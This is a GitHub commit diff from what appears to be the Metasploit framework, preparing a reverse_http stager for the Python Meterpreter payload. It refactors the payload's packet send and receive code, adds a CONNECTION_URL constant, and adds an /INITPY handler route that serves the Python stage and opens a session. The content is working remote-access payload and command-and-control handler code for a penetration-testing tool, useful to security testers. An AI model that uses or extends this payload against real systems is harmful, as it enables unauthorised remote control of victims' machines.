Skip to content

Commit 6b2387b

Browse files
committed
Prepare for a reverse_http stager
1 parent 57aef9a commit 6b2387b

File tree

3 files changed

+62
-18
lines changed

3 files changed

+62
-18
lines changed

data/meterpreter/meterpreter.py

Lines changed: 36 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,13 @@
1818
else:
1919
has_windll = hasattr(ctypes, 'windll')
2020

21+
try:
22+
import urllib
23+
except ImportError:
24+
has_urllib = False
25+
else:
26+
has_urllib = True
27+
2128
if sys.version_info[0] < 3:
2229
is_bytes = lambda obj: issubclass(obj.__class__, str)
2330
bytes = lambda *args: str(*args[:1])
@@ -30,6 +37,7 @@
3037
#
3138
# Constants
3239
#
40+
CONNECTION_URL = None
3341
DEBUGGING = False
3442

3543
PACKET_TYPE_REQUEST = 0
@@ -284,7 +292,7 @@ def write(self, channel_data):
284292
export(STDProcess)
285293

286294
class PythonMeterpreter(object):
287-
def __init__(self, socket):
295+
def __init__(self, socket=None):
288296
self.socket = socket
289297
self.extension_functions = {}
290298
self.channels = {}
@@ -318,19 +326,29 @@ def add_process(self, process):
318326
self.processes[idx] = process
319327
return idx
320328

329+
def get_packet(self):
330+
request = None
331+
if len(select.select([self.socket], [], [], 0.5)[0]):
332+
request = self.socket.recv(8)
333+
if len(request) != 8:
334+
self.running = False
335+
return None
336+
req_length, req_type = struct.unpack('>II', request)
337+
req_length -= 8
338+
request = bytes()
339+
while len(request) < req_length:
340+
request += self.socket.recv(4096)
341+
return request
342+
343+
def send_packet(self, response):
344+
self.socket.send(response)
345+
321346
def run(self):
322347
while self.running:
323-
if len(select.select([self.socket], [], [], 0.5)[0]):
324-
request = self.socket.recv(8)
325-
if len(request) != 8:
326-
break
327-
req_length, req_type = struct.unpack('>II', request)
328-
req_length -= 8
329-
request = bytes()
330-
while len(request) < req_length:
331-
request += self.socket.recv(4096)
348+
request = self.get_packet()
349+
if request:
332350
response = self.create_response(request)
333-
self.socket.send(response)
351+
self.send_packet(response)
334352
else:
335353
# iterate over the keys because self.channels could be modified if one is closed
336354
channel_ids = list(self.channels.keys())
@@ -370,7 +388,7 @@ def run(self):
370388
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
371389
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
372390
pkt = struct.pack('>I', len(pkt) + 4) + pkt
373-
self.socket.send(pkt)
391+
self.send_packet(pkt)
374392
if data:
375393
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
376394
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@@ -379,7 +397,7 @@ def run(self):
379397
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
380398
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
381399
pkt = struct.pack('>I', len(pkt) + 4) + pkt
382-
self.socket.send(pkt)
400+
self.send_packet(pkt)
383401

384402
def handle_dead_resource_channel(self, channel_id):
385403
del self.channels[channel_id]
@@ -390,7 +408,7 @@ def handle_dead_resource_channel(self, channel_id):
390408
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
391409
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
392410
pkt = struct.pack('>I', len(pkt) + 4) + pkt
393-
self.socket.send(pkt)
411+
self.send_packet(pkt)
394412

395413
def _core_loadlib(self, request, response):
396414
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
@@ -546,5 +564,8 @@ def create_response(self, request):
546564
os.setsid()
547565
except OSError:
548566
pass
549-
met = PythonMeterpreter(s)
567+
if CONNECTION_URL and has_urllib:
568+
met = PythonMeterpreter(s)
569+
else:
570+
met = PythonMeterpreter(s)
550571
met.run()

lib/msf/core/handler/reverse_http.rb

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -194,6 +194,27 @@ def on_request(cli, req, obj)
194194

195195
# Process the requested resource.
196196
case uri_match
197+
when /^\/INITPY/
198+
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
199+
url = payload_uri + conn_id + '/'
200+
201+
blob = ""
202+
blob << obj.generate_stage
203+
204+
# Patch the conn_id
205+
blob = blob.sub("CONNECTION_URL = None", "CONNECTION_URL = '#{url}'")
206+
207+
resp.body = blob
208+
209+
# Short-circuit the payload's handle_connection processing for create_session
210+
create_session(cli, {
211+
:passive_dispatcher => obj.service,
212+
:conn_id => conn_id,
213+
:url => url,
214+
:expiration => datastore['SessionExpirationTimeout'].to_i,
215+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
216+
:ssl => ssl?,
217+
})
197218
when /^\/INITJM/
198219
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
199220
url = payload_uri + conn_id + "/\x00"
@@ -223,7 +244,6 @@ def on_request(cli, req, obj)
223244
})
224245

225246
when /^\/A?INITM?/
226-
227247
url = ''
228248

229249
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")

lib/msf/core/handler/reverse_http/uri_checksum.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,9 @@ module UriChecksum
88
# Define 8-bit checksums for matching URLs
99
# These are based on charset frequency
1010
#
11-
URI_CHECKSUM_INITW = 92
12-
URI_CHECKSUM_INITJ = 88
11+
URI_CHECKSUM_INITW = 92 # Windows
12+
URI_CHECKSUM_INITP = 80 # Python
13+
URI_CHECKSUM_INITJ = 88 # Java
1314
URI_CHECKSUM_CONN = 98
1415

1516
#
@@ -61,6 +62,8 @@ def process_uri_resource(uri_match)
6162
case uri_check
6263
when URI_CHECKSUM_INITW
6364
uri_match = "/INITM"
65+
when URI_CHECKSUM_INITP
66+
uri_match = "/INITPY"
6467
when URI_CHECKSUM_INITJ
6568
uri_match = "/INITJM"
6669
when URI_CHECKSUM_CONN

0 commit comments

Comments
 (0)